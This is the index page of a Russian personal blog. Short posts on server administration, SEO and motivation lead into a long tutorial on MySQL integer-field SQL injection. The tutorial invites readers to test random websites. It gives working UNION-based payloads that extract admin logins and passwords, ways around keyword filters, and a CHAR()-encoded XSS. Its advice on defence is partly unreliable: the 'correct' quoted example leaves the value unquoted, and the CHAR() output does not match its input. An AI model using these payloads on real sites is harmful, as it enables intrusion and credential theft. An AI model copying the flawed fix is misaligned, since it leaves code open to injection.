Блог SpYeRа

Как заставить proftpd показывать скрытые файлы

10 марта 2013 | 1 отзыв

Если у вас на сервере не видны скрытые файлы, начинающиеся с точки, такие как .htaccess, .htpasswd, .bashrc, .bash_history и другие, надо добавить в proftpd.conf:

ListOptions -a

И перезагрузить proftpd.

/etc/init.d/proftpd restart

Как починить кодировку в Apache

11 января 2013 | Отзывов пока нет

Часто в Apache приходится чинить кодировку.
Синим выделено то, что менять под себя. Жирным — то, что необходимо добавлять/выполнять.
Читать далее

Majordomo умер

4 января 2013 | 15 отзывов

(заголовок для привлечения внимания)

Когда дела идут хорошо, что-то должно случиться в самом ближайшем будущем

Что случилось с Majordomo?

Хостингом Мажордомо я пользовался с 26 января 2009-го года. И последние полгода почти каждый день у меня было от 10 до 200  ошибок в Sape. Мне было лень переезжать, я думал, что всё наладится, мы сможем начать всё заново… но Мажордомо решил прибавить мне решительности.
Читать далее

Быстро меняющийся мир

19 декабря 2012 | 2 отзыва

I.

Внезапно я начинаю осознавать, что сильно отстаю от IT-индустрии. Даже не всей индустрии, а отдельно взятого говносайтостроения.
Пока я был в анабиозе и ничего не писал, мир начал юзать CSS-фреймворки,  ещё всякие разные полезные примочки, яндекс определяет местонахождение без GPS что самое интересное, пока я собирался наконец попробовать что-нибудь сделать на Drupal он стал популярным, обзавёлся армией фанатов, и уже начал терять популярность. (сборки наподобие Drupal Zver CD, я конечно, тоже пропустил).

Читать далее

Продвижение сайта под пингвином

17 августа 2012 | Отзывов пока нет

Продвижение сайта под пингвином

Продвигаем сайт под пингвином. Большинство вебмастеров и оптимизаторов уже слышали про Google Penguin. Новый алгоритм гугла, который влияет на выдачу. Он понижает сайты, продвигаемые неосмысленными закупками ссылок и методами черного сео. Интересно, получится ли у пингвина различить сдл от гса? Многие владельцы сайтов уже потеряли трафик из-за неправильного продвижения сайта под пингвином. И продвигать сайт под пингвином стало намного сложней, нестабильная выдача, да и к тому же и хорошие сайты падают в выдаче из-за данного алгоритма.

Пингвинологи пытаются продвинуть свои сайты закупкой вечных ссылок, статей, аккуратной покупкой ссылок, влиянием на поведенческие факторы, посмотри, что у них выйдет. Можно также добавить сайт в ссылочные агрегаторы и последить как они работают с пингвином.

И тут я внезапно осознал, что мне надо чаще писать в блог. И моему блогу необходима CRM-система для взаимодействия с моей многомиллионной аудиторией.
crmzone.ru. Скоро. Во всех браузерах страны.
Wait~ Что я несу, какая CRM-система на блоге? Ах да, я ведь всего лишь хотел дать ссылку на свой новый говносайт СДЛ.
Вернее там заглушка только. Но скоро всё будет. Клиентоориентированность, автоматизация бизнес-процессов, все дела.

Читать далее

^[a-zA-Z0-9]+$

29 июня 2012 | 3 отзыва

Однажды меня спросили:
Ринат, откуда ты знаешь регулярки?

Однажды я увидел удивительный сон. Я лёг раньше чем обычно, и долго не мог уснуть. Я думал о вечном, о будущем, о моей профессии… Читать далее

Решение mdadm md127

30 сентября 2011 | Отзывов пока нет

Промучался с созданием софтового рейда 1 под Gentoo, проблем было много но , напишу несколкьо, может, кому-нибудь будет полезно.

Почему mdadm создаёт разделы md127 / md125? 127 — максимальное однобайтовое число. Почему же он выбирает именно его? Скорее всего, чтобы не было путаницы с автоматически найденными массивами. Следовательно, отключаем автоматическое обнаружение raid’ов, у нас ведь в mdadm.conf всё давно прописано. Прописываем параметр ведру линупса в /boot/grub/grub.conf (он должен выглядеть примерно так: )

default 0
timeout 30
splashimage=(hd0,0)/boot/grub/splash.xpm.gz
title=Gentooska
root (hd0,0)
kernel /boot/bzImage root=/dev/md3 raid=noautodetect md=3,/dev/sda3,/dev/sdb3

И всё прекрасно работает. Примерный /etc/mdadm.conf

HOMEHOST vasya
DEVICE /dev/sda1 /dev/sdb1
DEVICE /dev/sda2 /dev/sdb2
DEVICE /dev/sda3 /dev/sdb3
ARRAY /dev/md1 superminor=1 devices=/dev/sda1,/dev/sdb1
ARRAY /dev/md2 superminor=2 devices=/dev/sda2,/dev/sdb2
ARRAY /dev/md3 superminor=3 devices=/dev/sda3,/dev/sdb3

Всё это, конечно, для ядра Gentoo, созданного без genkernel. В случае Genkernel нужно будет вкомпиливать /mdadm.conf в initramfd ( genkernel —mdadm —mdadm-config=/etc/mdadm.conf initramfs ) Ещё долго мучался с kernel panic:

md: Autodetecting RAID arrays.
md: Scanned 0 and added 0 devices.
md: autorun ...
md: ... autorun DONE.
BOOT-NFS: no NFS server addres .. trying floppy.
VFS: Unable to mount root device "sda3" or unknown-block(2,0)

Оказалось, что не были подключены необходимые SATA-драйвера. И mdadm здесь был ни при чём.

И ещё проблемы часто возникают с device mapper’ом.  Его обязательно нужно отключать. USE-флаги: mdadm -dmraid -device-mapper.

Кстати, массивы mdadm нужно создавать обязательно указывая —metadata=0.90, если не хотите возиться с установкой нестабильного Grub2.

mdadm —metadata=0.90 —create /dev/md1 —level=1 —raid-devices=2 /dev/sda1 /dev/sdb1
# и т. д.

Получилась, не то, чтобы статья, а частые проблемы, и как их решать.



Эффект сверхоправдания и мотивация

10 июня 2011 | 4 отзыва

Про мотивацию пишут много, но только те, кому её не достаёт. Те, у кого она есть не понимают сути подобных постов.

Для начала коротко о мотивации в целом.
Мотивация бывает:

  1. Внутренней. Если вам доставляет большое удовольствие то, что вы делаете — это внутреняя мотивация.
  2. Внешней. Внешняя мотивация — это когда вам хочется кушать, и нужны для этого деньги, когда не хочется идти в армию и так далее.

Внутренняя мотивация, конечно же, лучше. Я думаю, что когда люди становятся миллионерами, ими движет именно она. И уж точно только внутренняя мотивация заставляет людей создавать такие блестящие бесплатные проекты как Linux, Apache, Nginx, PHP, Joomla, Drupal и сотни других, которые мы с вами используем в своих сайтах.

Внешняя же мотивация у большинства людей заканчивается где-то на уровне «Семья (дети) + Дом + Машина». Бояться становится нечего, и многие  так и не сдвигаются с этого уровня. (Я ни в коем случае не считаю, что это плохо или хорошо) Читать далее

Снова начинаю работать на себя

13 марта 2011 | 5 отзывов

Не изменяя своей недоброй традиции писать в блоге раз в полгода, я наконец выхожу на связь.

Многое изменилось с последнего времени, жизнь стала получше, но находиться в одном стабильном состоянии я оказывается не могу. Обязательно нужно развиваться или я неизбежно «скатываюсь».
Сателлиты делать уже не хочется, да и Яндекс уже их не особо жалует, хочу сделать СДЛ и писать какие-нибудь программки вроде карты сайта для DLE.

А вообще я устроился работать в провайдер и работаю уже почти год. Писать софт всё же нравится намного больше, чем клепать говносайты.

MySQL integer sql-injection

4 сентября 2010 | 6 отзывов

Внезапно написал статью про sql-инъекции. О сео писать нечего, да и не хочется.

Казалось бы, 2010 год на дворе, но многие программисты до сих пор не научились защищать свои веб-приложения. Наверное, чтобы научиться хорошо защищать свои сайты, нужно хоть раз побыть в шкуре хакера. В этой статейке я расскажу об sql-инъекции через GET-запросы на сайтах, на которых используется MySQL. Конкретнее об уязвимостях в полях типа «integer».

Рассмотрим такой код:

SELECT id,title, date, text FROM articles WHERE id = $inj AND date > 0;

$inj вроде бы «фильтруется» с помощью addslashes или mysql_escape_string, но фильтруется неправильно. В конце статьи я, конечно же, расскажу, как правильно фильтровать такие поля.

Итак, как найти такую уязвимость?
Заходим на какой-либо рандомный сайт, и видим в адресной строке, к примеру, http://example.com/articles.php?id=1 SQL-Запрос для выбора указанной статьи мы видим выше.
Вместо единицы мы и будем подставлять нашу инъекцию, но сначала нужно проверить, работает ли она.

http://example.com/articles.php?id=1+AND+1=2‑‑

http://example.com/articles.php?id=1+OR+1=1‑‑

Чтобы нам не мешали лишние условия, которые задаются после id, добавляем два минуса на конце, чтобы mysql игнорировал всё, что идёт после них.

Запросы с подстановкой этих простейших инъекций будут выглядеть так:

SELECT id,title, date, text FROM articles WHERE id = 1 AND 1=2‑‑ AND date > 0;
SELECT id,title, date,text FROM articles WHERE id = 1 OR 1=1‑‑ AND date > 0;

Если в первом случае статья не выводится, но выводится 1 или более статей во втором, то скорее всего мы обнаружили уязвимость. (в обоих случаях часть «‑‑ AND date > 0;» не учитывается)

Что делать дальше?

Теперь, можно составлять наши коварные запросы. Будем мы пользоваться для них такой удобной конструкцией как UNION.
Допустим, мы знаем, что на сервере есть таблица users с колонками id, login, pass
Нам нужно составить запрос, чтобы вытащить логин и пароль самого первого пользователя (зачастую админа). Но сначала нам нужно узнать количество полей, которые запрашиваются и выводятся на страницу. Для этого считаем вот таким образом, пока не прекратятся ошибки:

http://example.com/articles.php?id=1+UNION+SELECT+1‑‑

http://example.com/articles.php?id=1+UNION+SELECT+1,2‑‑

http://example.com/articles.php?id=1+UNION+SELECT+1,2,3,4‑‑

Т.к. у нас выбирается 4 поля, ошибки прекращаются, и где-нибудь на странице мы увидим вытащенную из базы цифру 1, 2, 3 или 4. Например, мы увидели 2 в заголовке.

Зная количество полей и поля, которые выводятся, строим наш конечный запрос:

http://example.com/articles.php?id=1+UNION+SELECT+1,CONCAT(login, 0, pass),3,4+FROM+users+WHERE+id=1‑‑

И с радостью видим на месте заголовка строку вида:
admin0qwerty
MySQL-функция CONCAT объединяет строки, а 0 в данном случае разделитель, т.е. логин – admin, пароль qwerty.

Заметьте, это всё без единой кавычки!

Сложности и подводные камни.

Фильтры.

Попадаются «хитрые» быдлокодеры программисты, которые думают, что код вида
if(strpos(‘select’, $query) === false) их спасёт. Такие вещи обходятся МоЛоДёЖнЫм НаПиСаНиЕм. http://example.com/articles.php?id=1+uNiOn+SeLeCt+1,CONCAT(login,0,pass),3,4‑‑
Есть те, кто догадываются фильтровать ключевые слова MySQL регистро-независимо. Зачастую помогает urlencode каждого символа в его %hex значение.
Простейшая функция на php решает это:

function my_urlencode($str)
{

$encoded = »;

for($i = 0; $i < strlen($str); ++$i){

$encoded .= ‘%’.dechex(ord($str{$i}));
/*Для каждого символа берётся его ASCII-код и преобразовывается в hex */

}

return $encoded;

}

Запускаем echo my_urlencode(‘union select’); и на выходе получаем закодированную строку %75%6e%69%6f%6e%20%73%65%6c%65%63%74 .
Запрос теперь:

http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(login, 0, pass),3,4‑‑

Если фильтруются пробелы, то их можно заменить пустыми комментариями /**/ или скобочными выражениями (UNION(SELECT(1)))‑‑ и т. п.

Не выводятся поля.
Ищем в интернете статьи про Blind SQL Injection

Неизвестны другие таблицы и колонки в них.
Начинаем перебирать user, users, profiles, и т. д. Можно также поискать программы вроде Pangolin, которые эти вещи делают автоматически.

И немного про SQL XSS.

А вы думали в данном случае невозможно? В MySQL ведь есть замечательная функция CHAR(), да и мы сейчас кое-что напишем.

function my_mysql_chars($str)
{

$chars = »;

for($i = 0; $i < strlen($str); ++$i){

$chars .= ‘char(‘.ord($str{$i}).’),’;
/*Для каждого символа берётся его ASCII-код и записывается по типу char(20),char(80), и т. д. */

}

return $chars;

}

Вызов echo my_mysql_chars(‘<script>alert(/sql_xss!/)</script>’); выдаст нам строку вида  char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62),

Подставляем её в запрос:

http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62)),3,4‑‑

И радуемся ещё и полученному XSS на сайте.

И ни одной кавычки.

Как защититься?

Что не удивительно, защититься проще, чем эксплуатировать эту уязвимость.

Все integer поля в MySQL берём в кавычки и используем обычный mysql_escape_string.

Правильно делать, например, так:
$no_inj = mysql_escape_string($_GET[‘id’]);
mysql_query(“SELECT id, title, date, text FROM articles WHERE id = $no_inj AND date > 0;”);

Если же у вас кавычкофобия или мания прописывать int-поля в запросах без кавычек, то убедитесь, что каждое такое поле фильтруется через intval.

Например,

$no_inj = intval($_GET[‘id’]);
mysql_query(“SELECT id,title, date, text FROM articles WHERE id = $no_inj AND date > 0;”);

Вот и вся фильтрация int-полей, и не надо изобретать никакие безумные фильтры, которые, во-первых, неэффективны, во-вторых, тормозят работу сайта.